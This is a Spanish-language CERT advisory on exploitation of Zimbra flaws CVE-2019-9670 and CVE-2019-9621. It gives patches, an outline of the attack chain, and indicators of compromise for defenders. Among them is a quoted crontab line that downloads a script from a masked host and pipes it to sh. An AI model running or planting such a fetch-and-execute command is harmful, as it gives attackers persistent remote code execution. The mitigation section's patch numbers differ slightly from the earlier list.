Enviado por frojas el Mié, 29/05/2019 - 15:01

 

Se ha detectado la explotación masiva de múltiples vulnerabilidades (CVE-2019-9670 y CVE-2019-9621) de componentes de Zimbra Colaboration Suite (ZCS), que derivan en ejecución de código remoto en el servidor de mail.
Una vez que el servidor es vulnerado, los atacantes logran ejecutar código con permiso de usuario administrador de Zimbra, viéndose entre otras actividades la publicación de web shells y uso de recursos del sistema para minado de criptomonedas.

Versiones Afectadas

Zimbra Collaboration Suite desde la versión 8.5 a la 8.8.11
Parches para las versiones afectadas:

  • 8.8.11 Patch 4
  • 8.8.10 Patch 8
  • 8.7.11 Patch 11
  • 8.6.0 Patch 14
  • 8.5.x No hay parches oficiales dado que esta fuera de soporte

A continuación se describen brevemente las vulnerabilidades utilizadas durante los ataques y cual es el flujo entre las mismas que desencadenan este resultado.

Vulnerabilidades

La vulnerabilidad CVE-2019-9670 se da en el manejo de los request “Autodiscover” de Zimbra, desde las versiones 8.5 a la 8.7.11, el cual realiza un bypass del sanitizado de los documento XHTML, derivando en un XXE[1].


Zimbra utiliza como parte de su mecanismo de autorización la gestión de los privilegios de los usuarios mediante tokens; permitiendo la utilización de un token con permisos de ‘admin’ solamente si los “Requests” provienen del puerto administrativo (puerto 7071). Para evadir este control, los atacantes explotan una segunda vulnerabilidad (CVE-2019-9621) del tipo SSRF[2]. Esta vulnerabilidad permite falsificar el puerto utilizado en los headers del Request del atacante, simulando provenir desde el puerto 7071. El componente afectado es el ProxyServlet de Zimbra, este requiere que que las solicitudes sean realizadas por un token válido, esta funcionalidad es utilizada para solicitar un token con permisos administrativos privilegiados.

Recomendaciones

Comprobar su servidor:
A continuación se detalla el comportamiento identificado en los servidores comprometidos con el objetivo de que los administradores puedan tomar como referencia para el análisis.
Los compromisos identificados son evidencias analizadas por el CERT de Urugyar – CERTUY. Estos ataques se vienen realizando desde el mes de Marzo de 2019, por consiguiente revisar la información de registros logs y otros desde el mes mencionado.

Las modificaciones identificados se distinguen en dos grupos:

  • Ejecución de malware/artefactos
    • Subida de archivos a las siguientes rutas:
      • /tmp
      • /var/tmp
    • El artefacto principal identificado es un binario bajo el nombre ‘zmcat’ utilizado, acorde con VirusTotal, para el minado de criptomonedas.
  • Persistencia
    • Subida de scripts bash para la persistencia del compromiso con los nombres “s.sh”, “l.sh”, “cr.sh”, “r.sh”, “zz.sh” en las siguientes rutas:
      • /tmp
      • /var/tmp
    • Subida de webshells JSP[3] en rutas públicas de Zimbra, accesibles desde Internet. El nombre de las webshells identificadas siempre están  compuestas por strings de 4 caracteres (alfanuméricos) con las extensiones “.jsp”, “_jsp.class”, “_jsp.java”. Estos se identificaron en las siguientes rutas:
      • /opt/zimbra/jetty/work/zimbra/org/apache/jsp/downloads/
      • /opt/zimbra/jetty/work/zimbra/org/apache/jsp/img/
      • /opt/zimbra/jetty/webapps/zimbra/downloads/
      • /opt/zimbra/jetty/webapps/zimbra/img/
    • Edición del crontab ejecutado por el usuario Zimbra agregando una linea al final del mismo del formato:
      • wget -q -O – http://xxx.xxx.xxx.xxx:443/cr.sh | sh > /dev/null 2>&1
  • Variantes reportadas por Fernando Aliaga - RSI de AEVIVIENDA
    • Script "zmswatch.sh" o "zmswatch" que se ejecuta cada 15 minutos en el crontab del usuario zimbra, que elimina registros de logs que coinciden con las cadenas "Ajax.jsp", "XZimbra.jsp", "login.jsp", "Debug.jsp" y "ppwd=", el  script está ubicado en:
      • /opt/zimbra/log
    • Otros archivos de nombres "cbstat" y "zmcheckexpiredcerts" fueron identificados en la ruta /opt/zimbra/lib que también se apoya en el script anterior.

Es necesario además realizar un análisis de los procesos en ejecución, principalmente en búsqueda de scripts de bash o el binario ‘zmcat’, esos siendo ejecutados por el usuario “zimbra”.
Dado que los niveles de compromiso identificados conllevan la ejecución de scripts a nivel de sistema operativo y permisos de administrador en Zimbra, se recomienda migrar a una instalación fresca de Zimbra con el último parche disponible instalado, así como cambiar las contraseñas del ldap Zimbra y mysql, y mantener actualizado Zimbra con los últimos parches.

Mitigación de la vulnerabilidad

En caso de no identificar un compromiso del servidor de mails, se recomienda actualizar cuanto antes al parche o versión correspondiente de su plataforma según lo indica Zimbra:

  • 8.5: Esta versión fuera de soporte, por lo que se recomienda la migración a una nueva versión. De requerir tiempo para la migración, se debe analizar la viabilidad de colocar el webmail detrás de un Web Application Firewall (WAF) y realizar un virtual patching. Otra alternativa para minimizar el riesgo de exposición es publicar el webmail solo para la red interna.
  • 8.6: Actualizar a por lo menos parche 13
  • 8.7: Actualizar a 8.7.11 parche 10
  • 8.8.11 Actualizar a parche 3

Enlaces de Interés

https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.11/P4
https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.10/P8
https://wiki.zimbra.com/wiki/Zimbra_Releases/8.7.11/P11
https://wiki.zimbra.com/wiki/Zimbra_Releases/8.6.0/P14

Glosario

[1] XXE (XML External Entity), es un ataque contra una aplicación que interpreta entradas XML. El ataque es posible cuando la forma de interpretar el XML permite incluir entidades externas debido a su mala configuración. Puede llevar a lectura de archivos locales, descubrimiento y mapeo de red interna, denegaciones de servicio, etc.


[2] SSRF (Server Side Request Forgery), se producen en aplicaciones web inseguras que permiten a un atacante forzar al servidor web a realizar peticiones desde dentro del sistema hacia el exterior.

[3] JSP (JavaServer Pages) es una tecnología que ayuda a los desarrolladores de software a crear páginas web dinámicas basadas en HTML y XML, entre otros tipos de documentos. JSP es similar a PHP, pero usa el lenguaje de programación Java.